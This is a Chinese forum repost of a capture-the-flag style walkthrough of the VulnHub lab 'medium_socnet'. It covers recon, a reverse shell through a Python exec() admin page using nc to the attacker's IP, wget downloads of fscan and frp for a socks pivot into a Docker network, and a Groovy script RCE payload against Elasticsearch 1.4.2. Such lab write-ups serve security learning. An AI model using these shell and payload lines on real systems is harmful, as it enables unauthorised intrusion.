ToB企服应用市场:ToB评测及商务社交产业平台

标题: vulnhub-medium_socnet [打印本页]

作者: 知者何南 时间: 2024-2-19 10:12
标题: vulnhub-medium_socnet
medium_socnet

从学长那里薅来的靶机，说是基于docker的，挺有意思，那必须搞一下呀！（后面百度才知道这玩意是vulnhub上面的）
0x01 信息收集

一、主机扫描

还是老规矩，nmap扫一手。

发现192.168.56.101主机，而且22和5000端口是开着的。
访问一下5000端口看看

有个输入框，输入内容就会回显，这里我尝试丢个弹窗发现会被转义

[/code][img]https://img2023.cnblogs.com/blog/3179656/202312/3179656-20231214225359393-1666916833.png[/img]
暂时不知道有啥用。
[size=4]二、遍历目录[/size]
dirsearch扫一下
[code]dirsearch -u http://192.168.56.101:5000/

复制代码

有一个admin目录，访问一下

根据页面的提示，说是有一个exec()函数可以执行，叫我们输入代码。这里不清楚是哪种语言的exec函数，于是就都试了一下。最后确定了是python代码。

但是这里没有回显，就只是Ran the code这句话，尝试弹个shell看看。

0x02 docker1

在本地开启终端监听2333端口

nc -lvvp 2333

复制代码

然后回到刚刚的输入框，输入如下代码反弹shell

__import__('os').popen("nc 192.168.56.1 2333 -e /bin/bash")

复制代码

注意：这里为什么不用system函数，是因为没办法反弹shell，于是想到了还有一个popen函数可以；还有就是不能用/bin/bash，原因是当前用户主机上没有这个命令，只能用/bin/sh。

成功getshell！

0x03 内网穿透

相信都可以看到，当前目录有一个Dockerfile文件，这说明当前所处的环境是在docker里的，所以战斗还没结束，才刚刚开始呢。
查看一下当前的ip

eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:03
inet addr:172.17.0.3 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:56753 errors:0 dropped:0 overruns:0 frame:0
TX packets:56729 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:7008504 (6.6 MiB) TX bytes:7519009 (7.1 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

复制代码

很明显，172.17.0.3 是一个内网的ip，这对我第一次做这种主机感觉很有意思，不用很多台主机，却能构造一个类内网的环境，瞬间激起了我的兴趣。接下里可以把这台主机当作内网来打了。
一、内网信息收集

先查看一下当前的用户权限

ok，root权限，无所畏惧。cd到tmp目录下，上传fscan扫一波。
在fscan所在的目录开启python的http服务

python -m http.server

复制代码

然后在目标主机执行命令

wget http://192.168.56.1:8000/fscan
chmod 777 fscan
./fscan -h 172.17.0.3/24

复制代码

fscan扫描的结果如下

存在三台主机（暂且说成主机），172.17.0.3是当前这台。172.17.0.1开着22端口，暂时没法利用。172.17.0.2开启着9200端口，可以选择从这台入手。
二、代理转发

现在的问题是172.17.0.2我无法访问，需要做一下socks代理。
首先先编辑一下frpc.ini文件

[common]
server_addr = 192.168.56.1
server_port = 7777
[socks5]
type = tcp
plugin = socks5
remote_port = 6666

复制代码

然后编辑frps.ini

[common]
bind_addr = 0.0.0.0
bind_port = 7777

复制代码

现在同样需要开启python的http服务，然后进入目标主机的/tmp目录下上传frpc和frpc.ini文件。

cd /tmp
wget http://192.168.56.1:8000/frpc
wget http://192.168.56.1:8000/frpc.ini
chmod 777 frpc

复制代码

然后在本地运行frps（这里是windows环境）

frps.exe -c frps.ini

复制代码

然后再在目标主机上执行

./frpc -c frpc.ini

复制代码

像这种就算成功连接

接下来还需要一个重要角色——proxifier，我承认他确实好用哈哈。
需要先配置一下代理服务器，地址就是本地ip，然后端口是刚刚在frpc.ini设置的6666端口。

配置完后ok就可以了，然后浏览器访问172.17.0.2:9200。

成功访问！

0x04 docker2

从页面可以看出这应该是一个api，这个elasticsearch有点眼熟啊，这里有他的版本4.10.2，百度一手。

{
"status" : 200,
"name" : "Boomer",
"cluster_name" : "elasticsearch",
"version" : {
"number" : "1.4.2",
"build_hash" : "927caff6f05403e936c20bf4529f144f0c89fd8c",
"build_timestamp" : "2014-12-16T14:11:12Z",
"build_snapshot" : false,
"lucene_version" : "4.10.2"
},
"tagline" : "You Know, for Search"
}

复制代码

百度说的是存在命令执行漏洞，也就是rce，找了一个poc，抓个包看看能不能用。

POST /_search?pretty HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()"}}}

复制代码

这里也是顺利执行了，而且是root权限，省的我提权了哈哈。